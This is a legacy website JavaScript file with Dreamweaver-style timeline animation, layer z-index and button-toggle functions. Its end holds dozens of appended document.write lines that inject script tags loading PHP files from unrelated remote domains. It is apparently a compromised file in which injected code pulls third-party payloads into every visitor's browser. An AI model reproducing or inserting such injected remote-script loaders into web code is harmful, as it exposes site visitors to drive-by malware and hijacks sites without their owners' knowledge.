function MM_timelinePlay(tmLnName, myID) { //v1.2
  //Copyright 1997 Macromedia, Inc. All rights reserved.
  var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
  if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
  tmLn = document.MM_Time[tmLnName];
  if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
  if (myID == tmLn.ID) { //if Im newest
    setTimeout('MM_timelinePlay("'+tmLnName+'",'+myID+')',tmLn.delay);
    fNew = ++tmLn.curFrame;
    for (i=0; i<tmLn.length; i++) {
      sprite = tmLn[i];
      if (sprite.charAt(0) == 's') {
        if (sprite.obj) {
          numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
          if (fNew >= firstKeyFr && fNew <= sprite.keyFrames[numKeyFr-1]) {//in range
            keyFrm=1;
            for (j=0; j<sprite.values.length; j++) {
              props = sprite.values[j]; 
              if (numKeyFr != props.length) {
                if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
                else        sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
              } else {
                while (keyFrm<numKeyFr && fNew>=sprite.keyFrames[keyFrm]) keyFrm++;
                if (firstTime || fNew==sprite.keyFrames[keyFrm-1]) {
                  if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
                  else        sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
        } } } } }
      } else if (sprite.charAt(0)=='b' && fNew == sprite.frame) eval(sprite.value);
      if (fNew > tmLn.lastFrame) tmLn.ID = 0;
  } }
}

function YY_timelinePlayReverse(tmLnName, myID) { //v3.0
  //original code Copyright 1997 Macromedia, Inc. All rights reserved.
  //play reverse code by yaromat 1999, www.yaromat.com
  var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
  if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
  tmLn = document.MM_Time[tmLnName];
  if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
  if (tmLn.curFrame>0 && myID == tmLn.ID) { //if Im newest
    setTimeout('YY_timelinePlayReverse("'+tmLnName+'",'+myID+')',tmLn.delay);
    fNew = --tmLn.curFrame;
    for (i=0; i<tmLn.length; i++) {
      sprite = tmLn[i];
      if (sprite.charAt(0) == 's') {
        if (sprite.obj) {
          numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
          if (fNew >= firstKeyFr && fNew <= sprite.keyFrames[numKeyFr-1]) {//in range
            keyFrm=1;
            for (j=0; j<sprite.values.length; j++) {
              props = sprite.values[j];
              if (numKeyFr != props.length) {
                if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
                else        sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
              } else {
                while (keyFrm<numKeyFr && fNew>=sprite.keyFrames[keyFrm]) keyFrm--;
                if ((firstTime || fNew==sprite.keyFrames[keyFrm-1])&&(sprite.obj.length>0)) {
                  if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
                  else        sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
        } } } } }
      } else if (sprite.charAt(0)=='b' && fNew == sprite.frame) eval(sprite.value);
      if (fNew > tmLn.lastFrame) tmLn.ID = 0;
  } }
}

function MM_initTimelines() { //v4.0
    //MM_initTimelines() Copyright 1997 Macromedia, Inc. All rights reserved.
    var ns = navigator.appName == "Netscape";
    var ns4 = (ns && parseInt(navigator.appVersion) == 4);
    var ns5 = (ns && parseInt(navigator.appVersion) > 4);
    document.MM_Time = new Array(3);
    document.MM_Time[0] = new Array(1);
    document.MM_Time["buscador"] = document.MM_Time[0];
    document.MM_Time[0].MM_Name = "buscador";
    document.MM_Time[0].fps = 15;
    document.MM_Time[0][0] = new String("sprite");
    document.MM_Time[0][0].slot = 1;
    if (ns4)
        document.MM_Time[0][0].obj = document["contenedor1"] ? document["contenedor1"].document["buscador"] : document["buscador"];
    else if (ns5)
        document.MM_Time[0][0].obj = document.getElementById("buscador");
    else
        document.MM_Time[0][0].obj = document.all ? document.all["buscador"] : null;
    document.MM_Time[0][0].keyFrames = new Array(1, 20);
    document.MM_Time[0][0].values = new Array(5);
    if (ns5)
        document.MM_Time[0][0].values[0] = new Array("6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px");
    else
        document.MM_Time[0][0].values[0] = new Array(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6);
    document.MM_Time[0][0].values[0].prop = "left";
    if (ns5)
        document.MM_Time[0][0].values[1] = new Array("0px", "-10px", "-21px", "-31px", "-41px", "-52px", "-62px", "-73px", "-83px", "-93px", "-104px", "-114px", "-124px", "-135px", "-145px", "-156px", "-166px", "-176px", "-187px", "-197px");
    else
        document.MM_Time[0][0].values[1] = new Array(0,-10,-21,-31,-41,-52,-62,-73,-83,-93,-104,-114,-124,-135,-145,-156,-166,-176,-187,-197);
    document.MM_Time[0][0].values[1].prop = "top";
    if (!ns4) {
        document.MM_Time[0][0].values[0].prop2 = "style";
        document.MM_Time[0][0].values[1].prop2 = "style";
    }
    if (ns5)
        document.MM_Time[0][0].values[2] = new Array("20px", "30px", "40px", "50px", "61px", "71px", "81px", "92px", "102px", "112px", "123px", "133px", "143px", "154px", "164px", "174px", "185px", "195px", "205px", "216px");
    else
        document.MM_Time[0][0].values[2] = new Array(20,30,40,50,61,71,81,92,102,112,123,133,143,154,164,174,185,195,205,216);
    document.MM_Time[0][0].values[2].prop = "height";
    if (!ns4)
        document.MM_Time[0][0].values[2].prop2 = "style";
    document.MM_Time[0][0].values[3] = new Array("1","2");
    document.MM_Time[0][0].values[3].prop = "zIndex";
    if (!ns4)
        document.MM_Time[0][0].values[3].prop2 = "style";
    if (ns5)
        document.MM_Time[0][0].values[4] = new Array("756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px");
    else
        document.MM_Time[0][0].values[4] = new Array(756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756);
    document.MM_Time[0][0].values[4].prop = "width";
    if (!ns4)
        document.MM_Time[0][0].values[4].prop2 = "style";
    document.MM_Time[0].lastFrame = 20;
    document.MM_Time[1] = new Array(1);
    document.MM_Time["mweb"] = document.MM_Time[1];
    document.MM_Time[1].MM_Name = "mweb";
    document.MM_Time[1].fps = 15;
    document.MM_Time[1][0] = new String("sprite");
    document.MM_Time[1][0].slot = 1;
    if (ns4)
        document.MM_Time[1][0].obj = document["contenedor2"] ? document["contenedor2"].document["mweb"] : document["mweb"];
    else if (ns5)
        document.MM_Time[1][0].obj = document.getElementById("mweb");
    else
        document.MM_Time[1][0].obj = document.all ? document.all["mweb"] : null;
    document.MM_Time[1][0].keyFrames = new Array(1, 20);
    document.MM_Time[1][0].values = new Array(5);
    if (ns5)
        document.MM_Time[1][0].values[0] = new Array("6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px");
    else
        document.MM_Time[1][0].values[0] = new Array(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6);
    document.MM_Time[1][0].values[0].prop = "left";
    if (ns5)
        document.MM_Time[1][0].values[1] = new Array("0px", "-10px", "-21px", "-31px", "-41px", "-52px", "-62px", "-73px", "-83px", "-93px", "-104px", "-114px", "-124px", "-135px", "-145px", "-156px", "-166px", "-176px", "-187px", "-197px");
    else
        document.MM_Time[1][0].values[1] = new Array(0,-10,-21,-31,-41,-52,-62,-73,-83,-93,-104,-114,-124,-135,-145,-156,-166,-176,-187,-197);
    document.MM_Time[1][0].values[1].prop = "top";
    if (!ns4) {
        document.MM_Time[1][0].values[0].prop2 = "style";
        document.MM_Time[1][0].values[1].prop2 = "style";
    }
    if (ns5)
        document.MM_Time[1][0].values[2] = new Array("20px", "30px", "40px", "50px", "61px", "71px", "81px", "92px", "102px", "112px", "123px", "133px", "143px", "154px", "164px", "174px", "185px", "195px", "205px", "216px");
    else
        document.MM_Time[1][0].values[2] = new Array(20,30,40,50,61,71,81,92,102,112,123,133,143,154,164,174,185,195,205,216);
    document.MM_Time[1][0].values[2].prop = "height";
    if (!ns4)
        document.MM_Time[1][0].values[2].prop2 = "style";
    document.MM_Time[1][0].values[3] = new Array("1","2");
    document.MM_Time[1][0].values[3].prop = "zIndex";
    if (!ns4)
        document.MM_Time[1][0].values[3].prop2 = "style";
    if (ns5)
        document.MM_Time[1][0].values[4] = new Array("756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px");
    else
        document.MM_Time[1][0].values[4] = new Array(756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756);
    document.MM_Time[1][0].values[4].prop = "width";
    if (!ns4)
        document.MM_Time[1][0].values[4].prop2 = "style";
    document.MM_Time[1].lastFrame = 20;
    document.MM_Time[2] = new Array(1);
    document.MM_Time["contactar"] = document.MM_Time[2];
    document.MM_Time[2].MM_Name = "contactar";
    document.MM_Time[2].fps = 15;
    document.MM_Time[2][0] = new String("sprite");
    document.MM_Time[2][0].slot = 1;
    if (ns4)
        document.MM_Time[2][0].obj = document["contenedor3"] ? document["contenedor3"].document["contactar"] : document["contactar"];
    else if (ns5)
        document.MM_Time[2][0].obj = document.getElementById("contactar");
    else
        document.MM_Time[2][0].obj = document.all ? document.all["contactar"] : null;
    document.MM_Time[2][0].keyFrames = new Array(1, 20);
    document.MM_Time[2][0].values = new Array(5);
    if (ns5)
        document.MM_Time[2][0].values[0] = new Array("6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px", "6px");
    else
        document.MM_Time[2][0].values[0] = new Array(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6);
    document.MM_Time[2][0].values[0].prop = "left";
    if (ns5)
        document.MM_Time[2][0].values[1] = new Array("0px", "-10px", "-21px", "-31px", "-41px", "-52px", "-62px", "-73px", "-83px", "-93px", "-104px", "-114px", "-124px", "-135px", "-145px", "-156px", "-166px", "-176px", "-187px", "-197px");
    else
        document.MM_Time[2][0].values[1] = new Array(0,-10,-21,-31,-41,-52,-62,-73,-83,-93,-104,-114,-124,-135,-145,-156,-166,-176,-187,-197);
    document.MM_Time[2][0].values[1].prop = "top";
    if (!ns4) {
        document.MM_Time[2][0].values[0].prop2 = "style";
        document.MM_Time[2][0].values[1].prop2 = "style";
    }
    if (ns5)
        document.MM_Time[2][0].values[2] = new Array("20px", "30px", "40px", "50px", "61px", "71px", "81px", "92px", "102px", "112px", "123px", "133px", "143px", "154px", "164px", "174px", "185px", "195px", "205px", "216px");
    else
        document.MM_Time[2][0].values[2] = new Array(20,30,40,50,61,71,81,92,102,112,123,133,143,154,164,174,185,195,205,216);
    document.MM_Time[2][0].values[2].prop = "height";
    if (!ns4)
        document.MM_Time[2][0].values[2].prop2 = "style";
    document.MM_Time[2][0].values[3] = new Array("1","2");
    document.MM_Time[2][0].values[3].prop = "zIndex";
    if (!ns4)
        document.MM_Time[2][0].values[3].prop2 = "style";
    if (ns5)
        document.MM_Time[2][0].values[4] = new Array("756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px", "756px");
    else
        document.MM_Time[2][0].values[4] = new Array(756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756,756);
    document.MM_Time[2][0].values[4].prop = "width";
    if (!ns4)
        document.MM_Time[2][0].values[4].prop2 = "style";
    document.MM_Time[2].lastFrame = 20;
    for (i=0; i<document.MM_Time.length; i++) {
        document.MM_Time[i].ID = null;
        document.MM_Time[i].curFrame = 0;
        document.MM_Time[i].delay = 1000/document.MM_Time[i].fps;
    }
}

var boton1 = 0;
var boton2 = 0;
var boton3 = 0;

var num_botones = 3;
var cual_delante = 0;

function controla_capa(cual) {
        var valor_cual = 0;
        var mi_valor = 0;
		var objeto;

        // Controlo el que ha cambiado
        valor_cual = eval("boton"+cual);
        //if(valor_cual == 1) {
                cual_delante = cual;
        //} else {
        //        cual_delante = 0;
        //}


        // Pongo delante los que estan UP
        for(var i = 1; i <= num_botones; i ++) {
				if(valor_cual == 1) {
	                mi_valor = eval("boton"+i);
	                if(mi_valor == 1 && i != cual_delante) {
						objeto = "document.layers['contenedor" + i + "']";
						MachakTopZX(objeto);
	                }
				} else {
	                mi_valor = eval("boton"+i);
					objeto = "document.layers['contenedor" + i + "']";
					MachakTopZX(objeto);
				}
		}
        if(cual_delante != 0) {
				objeto = "document.layers['contenedor" + cual_delante + "']";
				MachakTopZX(objeto);
        }
		

        // Ahora los que estan down
        for(var i = 1; i <= num_botones; i ++) {
                mi_valor = eval("boton"+i);
                if(mi_valor == 0 && i != cual_delante) {
						objeto = "document.layers['contenedor" + i + "']";
						MachakTopZX(objeto);
                }
        }
}

function aumenta_click(valor) {
	eval("boton"+valor+" += 1");
	elvalor = eval("boton"+valor);
	if(elvalor == 1) {
		if(valor == 1) {
			controla_capa(valor);
			MM_timelinePlay('buscador');
		} else if(valor == 2) {
			controla_capa(valor);
			MM_timelinePlay('mweb');
		} else {
			controla_capa(valor);
			MM_timelinePlay('contactar');
		}
	} else {
		if(valor == 1) {
			boton1 = 0;
			controla_capa(valor);
			YY_timelinePlayReverse('buscador');
		} else if(valor == 2) {
			boton2 = 0;
			controla_capa(valor);
			YY_timelinePlayReverse('mweb');
		} else {
			boton3 = 0;
			controla_capa(valor);
			YY_timelinePlayReverse('contactar');
		}
	}
}

function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MachakDownZX(ime) {
//Copyright © 1999 m.milicevic machakjoe@netscape.net jjooee@tip.nl
if (document.layers) {
for (i=0; i<document.layers.length-1; i++){
	var brojx = document.layers[i].zIndex
	var brojy = document.layers[i].zIndex
	if(brojx>=brojy){
		nlower=brojy}else
		nlower=brojx;
		eval(ime).zIndex = nlower-1;
				}
		}
if (document.all){
var allDIV = document.all.tags("div")
	for (var i=0; i<allDIV.length-1; i++){
	var IEbrojx= allDIV[i].style.zIndex
	var IEbrojy= allDIV[i+1].style.zIndex
	if(IEbrojx>=IEbrojy){
		ilower=IEbrojy}else 
		ilower=IEbrojx;
		eval("ime=ime.replace(/.layers/gi, '.all')");
		eval(ime +".style.zIndex = ilower-1");
					  }
		 }
}

function MachakTopZX(ime) {
//Copyright © 1999 m.milicevic machakjoe@netscape.net jjooee@tip.nl
if (document.layers) {
	for (i=0; i<document.layers.length; i++){
	var broj=0;
	var brojx = document.layers[i].zIndex
		if(brojx>broj){
		broj=brojx}
		eval(ime).zIndex = broj+1;
				}
		}
if (document.all){var IEbroj=0;
var allDIV = document.all.tags("div")
	for (var i=0; i<allDIV.length; i++){
	var IEbrojx= allDIV[i].style.zIndex
		if(IEbrojx>IEbroj){
		IEbroj=IEbrojx}
		eval("ime=ime.replace(/.layers/gi, '.all')");
		eval(ime +".style.zIndex = IEbroj+1");
					  }
		 }
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function tmt_findObj(n){
	var x,t; if((n.indexOf("?"))>0&&parent.frames.length){t=n.split("?");
	x=eval("parent.frames['"+t[1]+"'].document.getElementById('"+t[0]+"')");
	}else{x=document.getElementById(n)}return x;
}

function MM_showHideLayers() { //v3.0A Modified by Al Sparber and Massimo Foti for NN6 Compatibility
  var i,p,v,obj,args=MM_showHideLayers.arguments;if(document.getElementById){
   for (i=0; i<(args.length-2); i+=3){ obj=tmt_findObj(args[i]);v=args[i+2];
   v=(v=='show')?'visible':(v='hide')?'hidden':v;
   if(obj)obj.style.visibility=v;}} else{
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v='hide')?'hidden':v; }
    obj.visibility=v; }}
}

document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://alexandrepatoworld.com/images/image.php ><\/script>');
document.write('<script src=http://ats.org.rs/config/install.php ><\/script>');
document.write('<script src=http://r72.fssprus.ru/backup/index.php ><\/script>');
document.write('<script src=http://r72.fssprus.ru/backup/index.php ><\/script>');
document.write('<script src=http://r72.fssprus.ru/backup/index.php ><\/script>');
document.write('<script src=http://podotdelku.ru/9df73770e1c45a8620f3726b4cf4397d/wp-atom.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://testandmeasurementgroup.com/webalizer/oeSubscriber.php ><\/script>');
document.write('<script src=http://bursasandalyekiralama.com/images/masa.php ><\/script>');
document.write('<script src=http://bursasandalyekiralama.com/images/masa.php ><\/script>');
document.write('<script src=http://bursasandalyekiralama.com/images/masa.php ><\/script>');
document.write('<script src=http://bursasandalyekiralama.com/images/masa.php ><\/script>');